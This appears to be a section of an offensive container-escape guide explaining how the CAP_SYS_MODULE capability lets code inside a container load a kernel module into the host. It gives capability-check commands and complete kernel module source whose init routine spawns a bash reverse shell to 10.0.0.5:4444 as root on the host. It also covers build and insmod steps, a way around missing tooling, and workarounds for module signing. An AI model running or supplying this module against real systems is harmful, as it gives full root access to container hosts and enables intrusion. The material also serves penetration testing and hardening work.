CAP_SYS_MODULE permits the init_module(2) and finit_module(2) syscalls, which load code directly into the running host kernel. Because kernel modules share the host's single kernel regardless of namespaces, a module loaded from inside a container executes in ring 0 on the host. The standard escape is a tiny module whose init routine uses call_usermodehelper to spawn a user-space program in the host's init namespace, typically a reverse shell or a command that drops an SSH key.
Confirm the capability and that module tooling is present:
capsh --print | grep -o cap_sys_module
grep CapEff /proc/self/status # bit 16 set
ls /usr/src/linux-headers-$(uname -r) 2>/dev/null || echo "need headers matching $(uname -r)"
Building and loading the module#
The module must be built against headers that match the host kernel release, since vermagic is checked at load time. Containers rarely ship headers, so cross-build on a matching kernel or install them in a throwaway builder.
// evil.c
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kmod.h>
static char *cmd = "/bin/sh";
module_param(cmd, charp, 0);
static int __init evil_init(void) {
char *argv[] = { "/bin/sh", "-c",
"bash -i >& /dev/tcp/10.0.0.5/4444 0>&1", NULL };
char *envp[] = { "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL };
// UMH_WAIT_PROC: run to completion in the host init namespace as root
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
return 0;
}
static void __exit evil_exit(void) { }
module_init(evil_init);
module_exit(evil_exit);
MODULE_LICENSE("GPL");
# Makefile
obj-m += evil.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
make # produces evil.ko
insmod ./evil.ko # or: finit_module via a tiny loader
# the reverse shell fires immediately in evil_init, as root on the host
If insmod is not in the image, call the syscall directly: open the .ko and invoke finit_module(fd, "", 0) from a few lines of C, which avoids needing the kmod userspace tools.
Exploitation notes#
MODULE_LICENSE("GPL")avoids a tainting refusal on some configurations; the module still loads without it but may log a taint warning.- The reverse-shell command runs via
call_usermodehelperin the host's init (PID 1) namespace set, so it is not confined by the container's namespaces or cgroups even thoughinsmodwas run inside the container. - Secure Boot with enforced module signing (
CONFIG_MODULE_SIG_FORCE) rejects an unsigned module; checkcat /sys/module/module/parameters/sig_enforceanddmesg | grep -i 'module verification'. Where enforced, fall back to CAP_SYS_ADMIN or Host block device. - This capability is included in
--privileged; it is route 3 on Privileged flag.